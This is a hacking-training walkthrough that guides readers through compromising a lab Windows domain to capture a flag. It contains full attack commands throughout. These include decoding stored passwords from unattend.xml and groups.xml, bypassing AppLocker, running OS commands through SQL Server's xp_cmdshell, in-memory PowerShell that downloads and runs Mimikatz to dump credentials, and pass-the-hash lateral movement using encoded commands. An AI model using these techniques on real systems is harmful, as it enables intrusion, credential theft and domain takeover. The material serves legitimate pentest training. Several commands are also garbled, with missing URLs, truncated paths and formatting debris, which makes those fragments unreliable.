# Ultimate Hacking Challenge

Ultimate hacking challenge

Train on dedicated machines to master the art of hacking

All rights reserved. No part of this publication may be reproduced, distributed, or transmitted in any form or by any means, including photocopying, recording, or other electronic or mechanical methods, without the prior written permission of the publisher, except in the case of brief quotations embodied in critical reviews and certain other noncommercial uses permitted by copyright law.

# Foreword

This is not your regular hacking book. Hell, some might say it is not even a book. This tutorial is part of a training program for aspiring hackers that provides dedicated access to real machines with real flaws for 24 hours straight.

Reading about hacking is fun, hacking real systems is a whole other level of awesomeness! This program is an opportunity to hone your skills on the training platform at www.hacklikeapornstar.com/training: no simulation, no regex based wargames, no far-fetched hacking-like tricks that only work in CTF games… You access real machines with real and common flaws. The kind of vulnerabilities you find in every corporate environment around the world. It’s up to you to exploit them in a meaningful way without screwing up the system.

This tutorial assists you step-by-step through the different hoops in place: application whitelisting, privilege escalation, pivoting, etc. I strongly encourage you to take on the training, struggle with the challenge on your own for a few minutes before reading the chapter describing the solution. Try your usual techniques, read about new ones, and have fun.

If you are looking for a passive read about hacking, there are other interesting (and more comprehensive) books to try (preferably mine). This piece of work is about concrete action! This is, in my opinion, the best way to fully internalize the concepts and reflexes that make a great hacker.

In case you are discovering the world of hacking/pentesting, I planted several links to resources explaining the different concepts we are dealing with.

*B*y the same author:

[]

How to Hack Like a Pornstar How to Hack Like a GOD

Ultimate Guide for Being Anonymous

Important disclaimer

The tools and techniques presented are open-source, and thus available to everyone. Pentesters use them regularly in assignments, but so do attackers. If you recently suffered a breach and found a technique or tool illustrated in this book, this neither incriminates the author of this book in any way nor implies any connection between the author and the perpetrators.

Any actions and/or activities related to the material contained within this book is solely your responsibility. Misuse of the information in this book can result in criminal charges being brought against the persons in question. The author will not be held responsible in the event any criminal charges are brought against any individuals using the information in this book to break the law.

This book does not promote hacking, software cracking, and/or piracy. All the information provided in this book is for educational purposes only. It will help companies secure their networks against the attacks presented, and it will help investigators assess the evidence collected during an incident.

Performing any hack attempts or tests without written permission from the owner of the computer system is illegal.

# .1Prep & pep talk

## .1.1.Aim of the training

This training program simulates an internal hacking/pentesting engagement. You will access a Windows machine connected to the main corporate domain as any regular employee would. Your real goal as a malicious user, is to figure out a way to lay hands on sensitive HR documents – which contain the flag to validate the training program. You will quickly realize that the challenge is not to locate these documents, in fact you should spot the right folder very early on using basic reconnaissance techniques. The real challenge is to acquire enough privileges to access that folder.

This book documents different ways of achieving this goal. Keep in mind though that there are many many other paths one can follow to capture the flag, some easier, others a tad more complex. I tried to plant vulnerabilities in a way to get multiple viable hacking scenarios, if you do not exactly follow the instructions below, but still get the flag, good on you! That’s what hacking is all about!

## .1.2.Initial access

To access your dedicated testing environment, you need to book a date on https://hacklikeapornstar.com/training. Use the coupon at the end of this book to save a few bucks^^1^^. The platform will be available for 24 hours straight, so make sure to have enough free time to really profit from the training.

On the chosen date, around 9:47 UTC, you will receive an email with instructions to connect to the platform:

*

*

*

*
p<>{color:#000;}. Windows Domain: Lazuli.corp

You can connect to the machine using a Remote Desktop Protocol (RDP) utility like mstsc.exe on Windows or rdesktop on Linux. RDP is the go-to protocol to remotely administer Windows machines. It opens a graphical interactive session, making easier to manage resources.

Figure 1 : mstsc utility on Windows

Figure 2 : rdesktop utility on Linux

Once on the server, the training program officially begins! You can start fiddling around before moving on to the next chapter.

# .2Field testing

## .2.1.Breaking out

We are connected to a remote machine as what appears to be a standard user “pornstar”. The machine looks like a Windows 2008 server. The first thing we would like to do, is obviously execute code and start looking for vulnerabilities, yet when we try spawning a command prompt using the “Windows” menu, we get this error:

Fair enough, how about another shortcut to launch the command prompt (cmd.exe): (shift + right click on the desktop).

Same error. We leave it at that and explore other aspects of the system, maybe there are some interesting data to collect. We open explorer.exe (thankfully this one is not blocked) and proceed to the C:\ drive:

Interesting. It seems our first assignment is to escape these local restrictions before going any further…

Hint: Drives are blocked…What about network shares?

On a typical Windows machines all local drives (C:\, D:\, etc.) are automatically mapped to local network drives, which means they can be accessed in two ways:

*
p<>{color:#000;}. Using their standard Windows path (c:, d:, etc.)

*
p<>{color:#000;}. Using their Universal Naming Convention (UNC) path: \\127.0.0.1\C$, \\127.0.0.1\D$, etc.

Admins may block a file or a whole drive by banning its absolute path: “c:\windows” for instance, but this restriction rarely extends to the share associated with the drive. Using UNC paths, we can thus bypass protections like the one in place on SVHOST2:

Just like that, we took our first step into breaking this platform because, now that we can access the system drive, we can start hunting for scripts and other sensitive configuration files. It boils down to this: did admins install applications that require hard-coded passwords in their configuration files? If so, can we find them and decode them?

Hint: Look around for magic keywords: “pass”, “*.ini”, “password”, *.cmd”, “*.vbs”, “*.ps1”, “*.xml”, etc.

Maybe you spotted the lucky file maybe you did not, so here is an additional hint: check out the “panther” folder. This folder contains configuration data used by a deployment software admins usually rely on to quickly install new Windows machines. One of the essential configuration options is of course setting up a local admin account, which can be found in the unattend.xml file:

To get the clear text version of the password, simply feed the password value to a base64 decoder (Bash, PowerShell, this website^^2^^, etc.):

[email protected]:~ # echo "YQBrAGgAYQBsAGsANwA2ADUAMQAlACoA" |base64 -d

akhalk7651%*

Unless the account has been disabled (which we will check later), we now have an admin account on the server: [*support_it / akhalk7651%]. Let’s keep digging…

Earlier I said we had access to one machine. That is not entirely true. We have in fact access to two machines! Can you guess which is the second one?

LAZULI.CORP of course! The main domain controller. Every resource in the Windows domain^^3^^ must access certain resources on the domain controller to function properly: authentication, retrieve configuration files, etc.

One such useful configuration, for instance, is setting up the local admin user on any new workstation joining the domain^^4^^. This is usually done with the ‘groups.xml’ file. Of course, every automatic account creation entails a password storage mechanism, and what better place to store this critical information in than the same file used to create the account, groups.xml, a file that has to be – by design – read by any workstation, and thus any domain user!

Hint: You have the name of the file, you only need the right network share to search in

We access available drives on the domain controller (\\lazuli.corp\ in the explorer bar) and search for all *.xml file available ^^5^^.

If you look carefully there is a groups.xml file that is a bit bigger than the others. That’s because it contains the password of yet another account!

We can recover the password’s clear text version by reversing the encryption scheme (AES-256), as Microsoft unintentionally published the key on its website a few years ago:

We use the gpp-decrypt^6^ tool found on Linux KALI to extract the clear text version of the password:

[email protected]:# gpp-decrypt fQdL5Mlu4pXTqGLfPQt49BpP3Y27F38rr/WgFLtMDQE=

Bingo! That’s two local admin accounts:

*
p<>{color:#000;}. [*support_it / akhalk7651%]

*

Since we do not have access to cmd.exe the easiest way to use these credentials is to open a new RDP session, however you will quickly realize that this leads to a cul-de-sac.

Back to our regular RDP session. We need to find a way to execute code on the system to hack our way to the flag. Let’s address the issue right away.

Hint: Look for alternative utilities to execute code on the system other than cmd.exe

Okay not so simple. The error message indicates that Applocker is active on the machine. Applocker is a solution developed by Microsoft to allow admins to ban some applications that may be considered harmful. The ban must be based on PowerShell.exe’s hash value, given that it is a signed and trusted Microsoft executable. The trick then is to find other PowerShell.exe files with different hashes on the system:

Plenty for us to try! Be sure to launch these executable files through the run dialog (Windows + R) otherwise, Applocker will block its execution because the UNC path (\\127.0.0.1\c$\…) is not trusted by the tool. Hurray! Another trick is to launch the same PowerShell executable using a VBS script: Set objShell = WScript.CreateObject(“WScript.Shell”) objShell.Run (“C:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe”) Or using the powerful WMIC tool: We chose to launch the 32-bit version of PowerShell in the c:\windows\syswow64\windowspowershell\v1.0\ folder. This will limit the range of payloads we can run on this particular 64-bit machine (memory injection being one) but that’s alright for now. Another option would be to run PowerShell_ise, the PS editor, which is also not covered by Applocker. We spawn an elevated admin session using the “start-process” command with the “-verb runas” option: PS > Start-Process PowerShell_ise –Verb RunAs We use support_it’s account to validate the elevation prompt and finally enjoy an admin shell console. Now we can do some damage! First, let’s make pornstar a local admin user so we can easily manipulate the system at will. Next prepare your usual reconnaissance tools as this will get nasty very soon! ## .2.3.Looking around Every time the word reconnaissance is mentioned in a book or uttered in a conversation, security people cannot help thinking of the one tool they know that best fits this task: Nmap, the infamous port scanner. However, in this particular scenario, we are on a “foreign” machine that we want to alter as little as possible. Installing a program, a driver and a service (winpcap) is not exactly stealthy… So how do we discover nearby machines without relying on a scanning tool? Windows Active Directory! Hint: Query Windows AD to enumerate machines using PowerShell for instance All machines in the domain are referenced in Windows Active Directory, we simply need to ask the domain controller using LDAP queries to list machines, user accounts, etc. Keep in mind that all subsequent requests are carried out from the pornstar shell prompt as it has valid domain credentials. We will rely on the PowerSploit framework to perform this reconnaissance phase, specifically, the PowerView module. Moreover, to avoid writing files on disk, we load PowerShell scripts using the Invoke-Expression command: 1. Create a browser object$browser = New-Object System.Net.WebClient

1. Use current proxy credentials is defined

$browser.Proxy.Credentials =[System.Net.CredentialCache]::DefaultNetworkCredentials 1. Download PowerView script and interpret it using IEX (Invoke-Expression IEX) To list machines we call the Get-NetComputer function: Get-NetComputer We also list available shares on all machines in the domain using Invoke-ShareFinder (part of PowerView): Invoke-ShareFinder What do you know, the famous HR_Folder$ is right there! Obviously if we try browsing its content we get a nice error.

Finally, we list domain admins as well, using a native command this time:

I focus on the most important assets that will help us complete the challenge, but there are other aspects worth considering as well (users, group policies, trusts, etc.).

From here on the possibilities are endless. We can proceed in so many ways and try a combination of tricks, but I choose to highlight two main scenarios because they simply work *all the time*:

*
p<>{color:#000;}. Going through network share

*

# .3Scenario 1 – Shares

## .3.1.Looking around

Network shares can hide real gems in a Windows environment: configuration files, how-to documents, scripts, etc. Always take the time to go through their content, understand the purpose behind the share, and learn to spot passwords in big chunks of files.

We launch the Invoke-Share command again, but this time add the CheckShareAccess switch to limit the result to shares we can actually access (beware, sometimes the result is not 100% reliable):

Hint: I always recommend starting with shares ending with a $because they don’t appear in normal tools (explorer.exe for instance). Admins love security by obscurity so they tend to get lazier with these folders. We iterate over all these folders looking for file names containing what I call magic keywords: “passwd”, “admin”, “pass”, “password”, ”secret”, ”helpdesk”, “login”, “account”, etc. Sure enough, the following result pops up: Get-ChildItem -path \\ svhost1.lazuli.corp\tmp$ -include "*pass*","*admin*","*secret*" -Recurse

The extension “.vbe” means we are dealing with an encoded Visual Basic script, a rudimentary practice used to obfuscate sensitive data. We can easily reverse it using an official Microsoft tool^^7^^:

copy \\svhost1\tmp$\admin\script\set_pass_psh.vbe c:\users\public\ C:\users\public\decode.vbs c:\users\public\set_pass_psh.vbe We get a second domain account lazuli\exploit_team: Po641cMA%. Hint: Check out this account’s privileges on other machines This account does not have admin privileges on the current machine (SVHOST2)^^8^^, but it may well have it on some other machines in the domain. To find out if that’s the case, we loop through all systems in Active Directory and attempt to remotely read their C$ share drive. Usually, only admins possess this kind of access.

First, we launch a new powershel_ise process with exploit_team’s identity:

start-process powershell_ise -Credential lazuli\exploit_team

Then perform a rudimentary dir command loop:

#List of hosts in an array

$hosts = @("SVDC1.LAZULI.CORP","SVFILES.LAZULI.CORP","SVHOST1.LAZULI.CORP","SVFILES2.LAZULI.CORP") #starting the loop foreach ($h in $hosts) { dir \\$h\C$} Nothing. Well it was worth trying… Got any other ideas? How about we revisit network shares again? What if exploit_team has access to some shares not available to standard account pornstar? Let’s give it a go: We download PowerView again and launch Invoke-ShareFinder with the CheckShareAccess switch: Bingo! Network share “\\SVHOST1\IT_Tools$” is new on the list.

If we search for the same magic keywords again, we get a list of many potentially interesting files in this folder. I believe you will do your research and check them all before scrolling down, so I will just give away the name of the golden file: sql_admin.bat

Get-ChildItem -path \\ svhost1.lazuli.corp\it_tools$-include "*pass*","*admin*","*secret*","*passwd*" -Recurse This file contains a very powerful account: SA, an SQL server user. and as you will soon see, that’s gold! ## .3.2.Data to Exe Hint: Find a way to interact with the SQL server database using PS scripts Microsoft SQL server is a perfect location to hunt for data, maybe a copy of the flag is there. In order to communicate with the database we download a utility called Invoke-SQLCommand^^9^^ and execute it in memory using the same trick as before:$browser = New-Object System.Net.WebClient

$browser.Proxy.Credentials =[System.Net.CredentialCache]::DefaultNetworkCredentials IEX($browser.DownloadString(“https://gist.githubusercontent.com/jourdant/e9fa625fec54deb1a31f8e441157fc9f/raw/20cca64e2909033a778c5b56f9040915708de237/sql_cmdlets.psm1”))

We choose to connect to the default “master” database and start by listing other databases available:

Invoke-SqlCommand -server 172.31.64.89 -database master -username sa -password Lazuli2017 -query "EXEC sp_databases"

The result is frustrating. Just a basic list of default databases. There is not a single interesting entry in any one of these, so what good is this SQL server?

Hint: Can SQL server access the operating system? Even modify it?

Well it turns out there is an interesting function that executes code on the underlying Windows machine! The command is called xp_cmdshell and can only be used by administrator accounts…like “SA”.

First, we activate xp_cmdshell using sp_configure:

$sql = “EXEC sp_configure ‘show advanced options’,1;reconfigure; exec sp_configure ‘xp_cmdshell’,1;reconfigure” Invoke-SqlCommand -server 172.31.64.89 -database master -username sa -password Lazuli2017 -query$sql

Then issue a regular Windows command like “whoami” to make sure it’s working properly:

$command = “whoami” Invoke-SqlCommand -server 172.31.64.89 -database master -username sa -password Lazuli2017 -query "exec xp_cmdshell '$command'"

Brilliant! “SQLserver” seems to be a domain service account. The system command “net localgroup administrators” shows it is actually part of the local admin group on SVFILES (172.31.64.89). Let’s abuse it and grant pornstar user the same local admin privileges^^10^^:

$command = “net localgroup administrators /add pornstar” Invoke-SqlCommand -server 172.31.64.89 -database master -username sa -password Lazuli2017 -query "exec xp_cmdshell '$command'"

## .3.3.Memory inspection

Hint: We have an account on a new server, I doubt you need a hint here

SVFILES has open RDP service^^11^^ and given our newly acquired admin rights, we can connect to the machine:

One of the most amazing features of Windows is that it temporarily stores passwords of recently connected users in memory^^12^^. That’s gold for pivoting on other machines, especially if we land on a machine heavily used by admins! The first public tool to exploit such a flaw is called Mimikatz, and it changed the world of Windows pentest and hacking forever.

Mimikatz experienced such success that it was quickly integrated into most Windows attacking tools. Cymb3r^^13^^ even made a PowerShell wrapper that calls the executable in memory, leaving no trace on disk whatsoever.

We open an elevated PowerShell prompt (right click -> runas admin) then execute Mimikatz:

$browser = New-Object System.Net.WebClient$browser.Proxy.Credentials =[System.Net.CredentialCache]::DefaultNetworkCredentials

IEX)

Invoke-mimikatz

Bingo! A domain admin account at last^^14^^! Given that we are on a Windows 2012 server, we will not get clear text credentials, but we at least got the password hash and that is quite enough. You can try cracking the NTLM hash (cbe55f143fcb6d4687583af520123b89) on different online platforms, but there is an easier way: passing the hash. Mimikatz can inject a password hash into a new process, making Windows believe that the user adm_maint actually owns the process. This flaw exploits a design weakness in the NTLM protocol that you can read about at the following link^^15^^.

Invoke-mimikatz -command ' "sekurlsa::pth /user:adm_maint /ntlm:cbe55f143fcb6d4687583af520123b89 /domain:lazuli /run:powershell.exe" '

The new command line popping up has adm_maint’s privileges – domain admin privileges! Now we can finally get that HR folder we saw earlier and retrieve the flag:

# .4Scenario 2 – Reuse

## .4.1.Local dump

Unlike the previous scenario where we strongly focused on network shares, I suggest we take advantage of another type of common flaws: password reuse! We have two accounts already (support_it and adm_tmp), so one might wonder if these same accounts could work on other machines.

Hint: Actually, we implicitly got access to another account waaay more interesting…care to guess?

We spawn a PowerShell session holding any one of these two identities with the following command:

Start-Process PowerShell_ise – Verb RunAs -Credential SVHOST2\support_it

Then loop through all machines trying to access the C$folder. 1. On the new PowerShell Window type the following: #List of hosts in an array$hosts = @("SVDC1.LAZULI.CORP","SVFILES.LAZULI.CORP","SVHOST1.LAZULI.CORP","SVFILES2.LAZULI.CORP")

#starting the loop

foreach ($h in$hosts) {

dir \\$h\C$

}

Though this strategy will yield some interesting results that I leave as an exercise to the reader, that is not what I had in mind. I was thinking of using that other special account we automatically pwned a few chapters ago as soon as we achieved local admin privileges… the default administrator on SVHOST2! I call it special because it is not (usually) subject to many limitations that may affect other local accounts (UAC being the major one, but more on that later).

We can dump the local administrator’s password hash by reading the SAM and SYSTEM files, as it requires some NTFS manipulation and decoding, we launch the automated script Get-PassHashes to take care of business^^16^^:

$browser = New-Object System.Net.WebClient$browser.Proxy.Credentials =[System.Net.CredentialCache]::DefaultNetworkCredentials

IEX($browser.DownloadString(“https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1”)[*)*] Get-PassHashes Great! You can try cracking the NTLM hash (78560bbcf70110fbfb5add17b5dfd762) on different online platforms, but thanks to design flaws (or features?) in the NTLM authentication protocol, presenting a valid hash is enough to impersonate any user on Windows. For that we will rely on one of the many PowerShell scripts already available^^17^^: invoke-WMIExec; invoke-SMBExec^^18^^, etc^^19^^… ## .4.2.Propagation As previously stated, the idea is to replay this hash on remote machines hoping to find one that accepts us with open arms. For that we attempt to remotely execute an arbitrary command on all machines using Invoke-WMIExec. You can read more about Windows Management Instrumentation (WMI) in the following article^^20^^.$browser = New-Object System.Net.WebClient

$browser.Proxy.Credentials =[System.Net.CredentialCache]::DefaultNetworkCredentials IEX($browser.DownloadString(“https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/master/Invoke-WMIExec.ps1”)[*)*]

#List of hosts in an array

$hosts = @("SVDC1.LAZULI.CORP","SVFILES.LAZULI.CORP","SVHOST1.LAZULI.CORP","SVFILES2.LAZULI.CORP") #starting the loop foreach ($h in $hosts) { Invoke-WMIExec -Target$h -Domain WORKGROUP -Username Administrator -Hash 78560bbcf70110fbfb5add17b5dfd762 -Command "hostname" -verbose

}

As you can see, SVHOST1 responds positively. The same local admin account seems to be present on this machine. The next logical step is of course to execute more complex code on this machine: get local credentials, maybe browse files, etc.

Keep in mind that we can carry out all these tasks remotely, because we are using the default administrator account (SID 500), which is not subject by default to restrictions like UAC. This feature forbids local users from issuing remote commands even though they might have local admin privileges…That’s why we preferred replaying the administrator account rather than support_it or admin_tmp accounts.

Back to our code execution. The idea is to drop a PowerShell command that retrieves Mimikatz from the Internet, executes it and sends back the result. The command can be something like the following:

$browser = New-Object System.Net.WebClient;$browser.Proxy.Credentials =[System.Net.CredentialCache]::DefaultNetworkCredentials;

IEX);

Invoke-mimikatz

WMI does not offer a native way to retrieve a command’s output, so we need to redirect the output to a file we can access. How about the C$share drive on our local machine SVHOST2? Invoke-mimikatz | out-file \\SVHOST2\C$\Windows\temp$This script will do the trick. To safely deliver it on the remote machine, we store this code in a variable, base64 encode it, then include it in our WMI method: #Previous script in the command variable$command = ‘$browser=New-Object System.Net.WebClient;$browser.Proxy.Credentials =[System.Net.CredentialCache]::DefaultNetworkCredentials;IEX); Invoke-mimikatz | out-file \\SVHOST2\C$\Windows\temp\result.txt’ #Base64 encode it$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)$encodedCommand = [Convert]::ToBase64String($bytes) 1. Powershell -enc$encodedCommand

#Then call Invoke-WMIexec

Invoke-WMIExec -Target SVHOST1 -Domain WORKGROUP -Username Administrator -Hash 78560bbcf70110fbfb5add17b5dfd762 -Command "powershell -enc $encodedCommand " -verbose Brilliant. We get another account: psh_service / [*cy851qh-aze]. The hardest part is technically over because, all we need to do is iterate the same concept until we hit that special domain admin account. Hint: Can we use this account to access folders or machines with special rights? No more WMI though as we now have a regular domain account that may be subject to UAC. To test if this new account has admin privileges on other machines we loop through C$ shares like before:

#Open a new command process with psh_service’s identity

Start-process powershell_ise -credential lazuli\psh_service

#In the new process windows, type the following

$hosts = @("SVDC1.LAZULI.CORP","SVFILES.LAZULI.CORP","SVHOST1.LAZULI.CORP","SVFILES2.LAZULI.CORP") #starting the loop foreach ($h in $hosts) { dir \\$h\C\$

}

Psh_service account is in fact admin on the server SVFILES2! Knowing this, we connect via RDP to the machine and simply execute Mimikatz to get remnant credentials^^21^^ in memory:

Since we are on a Windows 2012, we will not get the clear-text password, only the NTLM hash (cbe55f143fcb6d4687583af520123b89), which is quite enough to perform a pass-the-hash attack.

We use Mimikatz to spawn a new process and inject admin_maint’s password hash:

Invoke-mimikatz -command ' "sekurlsa::pth /user:adm_maint /ntlm:cbe55f143fcb6d4687583af520123b89 /domain:lazuli /run:powershell.exe" '

Now that we are officially domain admin we can query that HR folder we saw earlier and get the flag:

# .5Coupon

The following code offers 30% reduction: HLP090807. Use it directly on the following page: https://www.hacklikeapornstar.com/training/

1 If by any misfortune no date is immediately available, send an email to [email protected] to arrange this.

2 www.base64decode.org

3 A ‘quick’ note on Windows domain that might be worth your while: https://www.youtube.com/watch?v=2w1cesS7pGY

4 The account in Untattend.xml is created after a Windows installation, whereas the account in groups.xml is defined after a machine joins the AD domain.

5 Sometimes using the DNS or Netbios name does not work for un unknown reason, in that case use the machine’s IP address (try nslookup lazuli.corp to get it)

7 https://gallery.technet.microsoft.com/Encode-and-Decode-a-VB-a480d74c

9 https://gist.githubusercontent.com/jourdant/e9fa625fec54deb1a31f8e441157fc9f/raw/20cca64e2909033a778c5b56f9040915708de237/sql_cmdlets.psm1

10 Technically you can send a PowerShell encoded command that fetches and executes mimikatz and stores the result in a file and you would be done, but let’s take it easy.

11 Try this lightweight PowerShell port scanner https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/Invoke-Portscan.ps1

12 I say users, but it covers service accounts as well. Most objects that log into a Windows machine risk leaving their password in memory

13 https://github.com/clymb3r/PowerShell/tree/master/Invoke-Mimikatz

14 We had this account in the radar since the reconnaissance phase. Remember the output of “net domain ‘domain admins’ /domain”

15 https://en.wikipedia.org/wiki/Pass_the_hash

16 Remember to use an elevated prompt (right click -> runas admin),

17 https://www.hacklikeapornstar.com/all-pth-techniques/

18 https://github.com/Kevin-Robertson/Invoke-TheHash

19 And of course Mimikatz

20 https://www.hacklikeapornstar.com/pentesting-with-wmi-part-1/

21 Remember to open a PowerShell with admin privileges (right click -> runas admin)